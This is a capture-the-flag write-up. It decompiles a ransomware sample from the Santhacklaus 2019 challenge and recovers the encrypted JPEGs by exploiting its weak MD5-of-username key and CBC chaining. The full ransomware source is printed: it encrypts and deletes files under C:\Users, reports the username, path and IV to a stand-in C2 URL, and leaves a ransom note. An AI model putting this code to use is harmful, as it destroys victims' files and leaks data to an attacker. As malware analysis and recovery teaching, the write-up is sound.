Challenge
Jacques! Au secours!
400 points
One of our VIP clients, who wishes to remain anonymous, has apparently been hacked and all their important documents are now corrupted.
Can you help us recover the files? We found a strange piece of software that might have caused all of this.
File: chall_files.zip
The challenge gives us a zip file with:
- a ‘vacation pictures’ folder containing
- 4 encrypted images
DCIM-0533.jpg.hacked
DCIM-0535.jpg.hacked
DCIM-0534.jpg.hacked
DCIM-0536.jpg.hacked
- a
READ_THIS.txt
file
- a
virus.cpython-37.pyc
file: python3.7 script byte-compiled
Decompiling the virus
The byte-compiled script can be decompiled using uncompyle6:
> uncompyle6 virus.cpython-37.pyc > virus.py
We get the virus in a readable form:
1# uncompyle6 version 3.6.0
2# Python bytecode 3.7 (3394)
3# Decompiled from: Python 3.7.5 (default, Oct 27 2019, 15:43:29)
4# [GCC 9.2.1 20191022]
5# Embedded file name: /mnt/c/Users/Mat/Documents/_CTF/Santhacklaus/2019/virus.py
6# Size of source mod 2**32: 3473 bytes
7from Crypto.Cipher import AES
8from Crypto.Random import get_random_bytes
9import hashlib, os, getpass, requests
10TARGET_DIR = 'C:\\Users'
11C2_URL = 'https://c2.virus.com/'
12TARGETS = [b'Scott Farquhar', b'Lei Jun', b'Reid Hoffman', b'Zhou Qunfei',
13b'Jeff Bezos', b'Shiv Nadar', b'Simon Xie', b'Ma Huateng', b'Ralph Dommermuth',
14b'Barry Lam', b'Nathan Blecharczyk', b'Judy Faulkner', b'William Ding',
15b'Scott Cook', b'Gordon Moore', b'Marc Benioff', b'Michael Dell',
16b'Yusaku Maezawa', b'Yuri Milner', b'Bobby Murphy', b'Larry Page',
17b'Henry Samueli', b'Jack Ma', b'Jen-Hsun Huang', b'Jay Y. Lee', b'Joseph Tsai',
18b'Dietmar Hopp', b'Henry Nicholas, III.', b'Dustin Moskovitz',
19b'Mike Cannon-Brookes', b'Robert Miller', b'Bill Gates', b'Garrett Camp',
20b'Lin Xiucheng', b'Gil Shwed', b'Sergey Brin', b'Rishi Shah', b'Denise Coates',
21b'Zhang Fan', b'Michael Moritz', b'Robin Li', b'Andreas von Bechtolsheim',
22b'Brian Acton', b'Sean Parker', b'John Doerr', b'David Cheriton',
23b'Brian Chesky', b'Wang Laisheng', b'Jan Koum', b'Jack Sheerack', b'Terry Gou',
24b'Adam Neumann', b'James Goodnight', b'Larry Ellison', b'Wang Laichun',
25b'Masayoshi Son', b'Min Kao', b'Hiroshi Mikitani', b'Lee Kun-Hee',
26b'David Sun', b'Mark Scheinberg', b'Yeung Kin-man', b'John Tu', b'Teddy Sagi',
27b'Frank Wang', b'Robert Pera', b'Eric Schmidt', b'Wang Xing', b'Evan Spiegel',
28b'Travis Kalanick', b'Steve Ballmer', b'Mark Zuckerberg', b'Jason Chang',
29b'Lam Wai Ying', b'Romesh T. Wadhwani', b'Liu Qiangdong', b'Jim Breyer',
30b'Zhang Zhidong', b'Pierre Omidyar', b'Elon Musk', b'David Filo',
31b'Joe Gebbia', b'Jiang Bin', b'Pan Zhengmin', b'Douglas Leone',
32b'Hasso Plattner', b'Paul Allen', b'Meg Whitman', b'Azim Premji', b'Fu Liquan',
33b'Jeff Rothschild', b'John Sall', b'Kim Jung-Ju', b'David Duffield',
34b'Gabe Newell', b'Scott Lin', b'Eduardo Saverin', b'Jeffrey Skoll',
35b'Thomas Siebel', b'Kwon Hyuk-Bin']
36
37def get_username():
38 return getpass.getuser().encode()
39
40
41def xorbytes(a, b):
42 assert len(a) == len(b)
43 res = b''
44 for c, d in zip(a, b):
45 res += bytes([c ^ d])
46
47 return res
48
49
50def lock_file(path):
51 username = get_username()
52 hsh = hashlib.new('md5')
53 hsh.update(username)
54 key = hsh.digest()
55 cip = AES.new(key, 1)
56 iv = get_random_bytes(16)
57 params = (('target', username), ('path', path), ('iv', iv))
58 requests.get(C2_URL, params=params)
59 with open(path, 'rb') as (fi):
60 with open(path + '.hacked', 'wb') as (fo):
61 block = fi.read(16)
62 while block:
63 while len(block) < 16:
64 block += bytes([0])
65
66 cipherblock = cip.encrypt(xorbytes(block, iv))
67 iv = cipherblock
68 fo.write(cipherblock)
69 block = fi.read(16)
70
71 os.unlink(path)
72
73
74def lock_files():
75 username = get_username()
76 print(username)
77 if username in TARGETS:
78 for directory, _, filenames in os.walk(TARGET_DIR):
79 for filename in filenames:
80 if filename.endswith('.hacked'):
81 continue
82 fullpath = os.path.join(directory, filename)
83 print('Encrypting', fullpath)
84 lock_file(fullpath)
85
86 with open(os.path.join(TARGET_DIR, 'READ_THIS.txt'), 'wb') as (fo):
87 fo.write(b'We have hacked all your files. Buy 1 BTC and contact us\
88 at hacked@virus.com\n')
89
90
91if __name__ == '__main__':
92 lock_files()
93# okay decompiling virus.cpython-37.pyc
Understanding the virus
What is the ransomware doing?
It first checks if the current user is a target. If it’s the case, it goes through all the subdirectories of the TARGET_DIR
directory and locks/encrypts all the files that do not have the ‘.hacked’ extension. After encryption, the original file is removed with the os.unlink
function.
How does the virus encrypt the files?
The virus uses Advanced Encryption Standard (AES) to encrypt the files. The mode is set to Electronic Codebook (ECB) (AES.new(key, 1)
, in line 55, 1 being the ECB mode) but the implementation is actually Cipher Block Chaining (CBC):
50def lock_file(path):
51 username = get_username()
52 hsh = hashlib.new('md5')
53 hsh.update(username)
54 key = hsh.digest()
55 cip = AES.new(key, 1)
56 iv = get_random_bytes(16)
57 params = (('target', username), ('path', path), ('iv', iv))
58 requests.get(C2_URL, params=params)
59 with open(path, 'rb') as (fi):
60 with open(path + '.hacked', 'wb') as (fo):
61 block = fi.read(16)
62 while block:
63 while len(block) < 16:
64 block += bytes([0])
65
66 cipherblock = cip.encrypt(xorbytes(block, iv))
67 iv = cipherblock
68 fo.write(cipherblock)
69 block = fi.read(16)
70
71 os.unlink(path)
As you can see in the highlighted areas, an initialization vector (IV) is first generated in order to make the first cipherblock. After that, the IV is equal to the subsequent cipherblocks.
The key used for the AES encryption is the md5 hash of the username, which is always 128 bits long.
How could we decrypt the files?
- the first plaintext block $p_1$, because we know the extension of the encrypted files and therefore its magic bytes
- for a JPEG file: $p_1=$
0xffd8ffe000104a464946000101010048
- the key: must be in the list of the md5 hashes from the
TARGETS
array
- all cipherblocks $c_n$
The only thing we do not know is the random initial vector.
However, as the formula for decrypting CBC is:
$$
p_i = D_K(c_i) \oplus c_{i-1}
$$
with $c_0 = IV$, we know $p_n$ for all $n \geq 2$, because every cipherblock is decrypted using the previous cipherblock. For example:
$$
p_3 = D_K(c_3) \oplus c_2
$$
Using the magic bytes, we therefore know all the plaintext blocks.
Strategy
- decode every file with each possible key
- replace the first plain text block with the magic bytes of a jpeg image
- make a HTML page to quickly filter the good images
Note: Another possible strategy to know which is the correct key would have been using the end-of-file marker (%%EOF
). If the last plaintext block has this marker, we have the key.
Solution
The first script decrypts the files, creating a folder for each target:
1#!/usr/bin/python3
2from Crypto.Cipher import AES
3from Crypto.Random import get_random_bytes
4import Crypto.Util
5import hashlib, os, getpass, requests, binascii
6
7TARGETS = [b'Scott Farquhar', b'Lei Jun', b'Reid Hoffman', b'Zhou Qunfei',
8b'Jeff Bezos', b'Shiv Nadar', b'Simon Xie', b'Ma Huateng', b'Ralph Dommermuth',
9b'Barry Lam', b'Nathan Blecharczyk', b'Judy Faulkner', b'William Ding',
10b'Scott Cook', b'Gordon Moore', b'Marc Benioff', b'Michael Dell',
11b'Yusaku Maezawa', b'Yuri Milner', b'Bobby Murphy', b'Larry Page',
12b'Henry Samueli', b'Jack Ma', b'Jen-Hsun Huang', b'Jay Y. Lee', b'Joseph Tsai',
13b'Dietmar Hopp', b'Henry Nicholas, III.', b'Dustin Moskovitz',
14b'Mike Cannon-Brookes', b'Robert Miller', b'Bill Gates', b'Garrett Camp',
15b'Lin Xiucheng', b'Gil Shwed', b'Sergey Brin', b'Rishi Shah', b'Denise Coates',
16b'Zhang Fan', b'Michael Moritz', b'Robin Li', b'Andreas von Bechtolsheim',
17b'Brian Acton', b'Sean Parker', b'John Doerr', b'David Cheriton',
18b'Brian Chesky', b'Wang Laisheng', b'Jan Koum', b'Jack Sheerack', b'Terry Gou',
19b'Adam Neumann', b'James Goodnight', b'Larry Ellison', b'Wang Laichun',
20b'Masayoshi Son', b'Min Kao', b'Hiroshi Mikitani', b'Lee Kun-Hee',
21b'David Sun', b'Mark Scheinberg', b'Yeung Kin-man', b'John Tu', b'Teddy Sagi',
22b'Frank Wang', b'Robert Pera', b'Eric Schmidt', b'Wang Xing', b'Evan Spiegel',
23b'Travis Kalanick', b'Steve Ballmer', b'Mark Zuckerberg', b'Jason Chang',
24b'Lam Wai Ying', b'Romesh T. Wadhwani', b'Liu Qiangdong', b'Jim Breyer',
25b'Zhang Zhidong', b'Pierre Omidyar', b'Elon Musk', b'David Filo',
26b'Joe Gebbia', b'Jiang Bin', b'Pan Zhengmin', b'Douglas Leone',
27b'Hasso Plattner', b'Paul Allen', b'Meg Whitman', b'Azim Premji', b'Fu Liquan',
28b'Jeff Rothschild', b'John Sall', b'Kim Jung-Ju', b'David Duffield',
29b'Gabe Newell', b'Scott Lin', b'Eduardo Saverin', b'Jeffrey Skoll',
30b'Thomas Siebel', b'Kwon Hyuk-Bin']
31
32TARGET_DIR = '/root/Documents/santhacklaus_2019/jacques/recover_pictures/'
33
34# Magic bytes of a jpg file
35plain_text = bytes([0xff, 0xd8, 0xff, 0xe0, 0x00, 0x10, 0x4a, 0x46, 0x49, 0x46,
360x00, 0x01, 0x01, 0x01, 0x00, 0x48])
37
38def decrypt_file(path, key, target):
39 with open(path, 'rb') as fi:
40 head, tail = os.path.split(path)
41 with open(head + f'/{target}/{tail}.jpg', 'wb') as fo:
42 cip = AES.new(key, AES.MODE_CBC)
43 cipherblocks = fi.read()
44 message = cip.decrypt(cipherblocks)
45 message = plain_text + message[16:]
46 fo.write(message)
47
48for directory, _, filenames in os.walk(TARGET_DIR):
49 for filename in filenames:
50 if not filename.endswith('.hacked'):
51 continue
52 full_path = os.path.join(directory, filename)
53 print('Decrypting', full_path)
54 for target in TARGETS:
55 folder_name = target.decode('utf-8')
56 target_path = os.path.join(TARGET_DIR, folder_name)
57 if not os.path.exists(target_path):
58 os.makedirs(target_path)
59 hsh = hashlib.new('md5')
60 hsh.update(target)
61 key = hsh.digest()
62 decrypt_file(full_path, key, folder_name)
After making this, we need to make a quick script to create a html document that will be easily visualized:
1#!/usr/bin/python3
2import os
3from urllib.parse import quote
4TARGET_DIR = '/root/Documents/santhacklaus_2019/jacques/recover_pictures/'
5
6html = '<html><body>'
7for directory, _, filenames in os.walk(TARGET_DIR):
8 for filename in filenames:
9 if filename.endswith('.jpg'):
10 full_path = os.path.join(directory, filename)
11 html+= f"<img src={quote(full_path)} />"
12html += '</body>'
13html += '</html>'
14print(html)
> ./recover.py
> ./make_html.py > images.html
The images.html
has only 4 valid images. One of them is:
>> Home